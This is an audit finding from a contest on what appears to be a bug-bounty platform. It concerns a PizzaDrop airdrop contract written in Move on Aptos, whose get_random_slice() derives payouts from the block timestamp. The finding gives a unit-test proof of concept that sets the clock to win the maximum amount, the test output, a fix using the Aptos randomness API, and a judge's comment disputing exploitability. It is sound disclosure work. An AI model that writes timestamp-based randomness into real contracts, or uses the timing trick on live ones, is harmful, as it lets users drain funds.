Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Severity: medium
Valid

Any user is able to bias get_random_slice() in their favour

get_random_slice() is psuedo random + Any user is able to bias get_random_slice() in their favour

Description

  • get_random_slice() should not be psuedo random depending on block time for randomness.

  • Any user is able to call get_random_slice() at a certain block time in their favour.

#[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
@> let time = timestamp::now_microseconds();
@> let random_val = time % 401;
@> let random_amount = 100 + random_val; // 100-500 APT (in Octas: 10^8 smallest unit)
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}

Risk

Likelihood:

  • A user calls get_random_slice() when the current time in microseconds % 401 at a good maximum.

Impact:

  • Any user is able to bias get_random_slice() in their favour to recieve a high amount of APT PizzaDrop near 500 APT.

Proof of Concept

fun p<T>(s: &T) {
debug::print(s);
}
fun p_vector(s: vector<u8>) {
debug::print(&string::utf8(s));
}
#[test(deployer = @pizza_drop, user = @0x123, framework = @0x1)]
fun test_exploit_pseudo_randomness(
deployer: &signer,
user: &signer,
framework: &signer
) acquires State, ModuleData {
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
// Initialize timestamp and APT for testing
timestamp::set_time_has_started_for_testing(framework);
let now_us = timestamp::now_microseconds();
p_vector(b"now_us");
p(&now_us);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
// Create accounts
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(user));
// Initialize the pizza drop module
init_module(deployer);
// Mint APT to deployer for funding
let funding_amount = 100000; // 0.001 APT in Octas
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
// Fund the pizza drop contract
let contract_funding = 10000; // 0.0001 APT
fund_pizza_drop(deployer, contract_funding);
// Register a user for the airdrop
let user_addr = signer::address_of(user);
// Attacker waits until current time in microseconds % 401 at a good maximum
timestamp::update_global_time_for_test(400);
now_us = timestamp::now_microseconds();
p_vector(b"now_us");
p(&now_us);
get_random_slice(user_addr);
let user_claimed_amount = get_claimed_amount(user_addr);
p_vector(b"user_claimed_amount");
p(&user_claimed_amount);
assert!(user_claimed_amount == 500, 8);
// Clean up
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}

On lines 47 to 52, a user waits until the current time in microseconds % 401 at a good maximum before calling get_random_slice().

Run with:

aptos move test --filter test_exploit_pseudo_randomness

Output:

Running Move unit tests
[debug] "now_us"
[debug] 0
[debug] "now_us"
[debug] 400
[debug] "user_claimed_amount"
[debug] 500
[ PASS ] 0xccc::airdrop::test_exploit_pseudo_randomness
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}

Recommended Mitigation

  • Don't use the block timestamp for randomness.

  • Use the Aptos Randomness API instead.

#[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
- let state = borrow_global_mut<State>(get_resource_address());
- let time = timestamp::now_microseconds();
- let random_val = time % 401;
- let random_amount = 100 + random_val; // 100-500 APT (in Octas: 10^8 smallest unit)
+ let random_amount = randomness::u64_range(100u64, 500u64); // 100-500 APT (in Octas: 10^8 smallest unit)
let state = borrow_global_mut<State>(get_resource_address());
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
Updates

Appeal created

bube Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Predictable randomness

The `get_random_slice` function should only be called by the owner via the `register_pizza_lover` function. Also, the `owner` is trusted and will not choose a specific time for a new user to register. Therefore, I disagree with the claim of most reports in this group that an attacker can manipulate the random number of pizza slices. But I agree with the root cause of the reports in this group, that the random distribution is not completely random.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.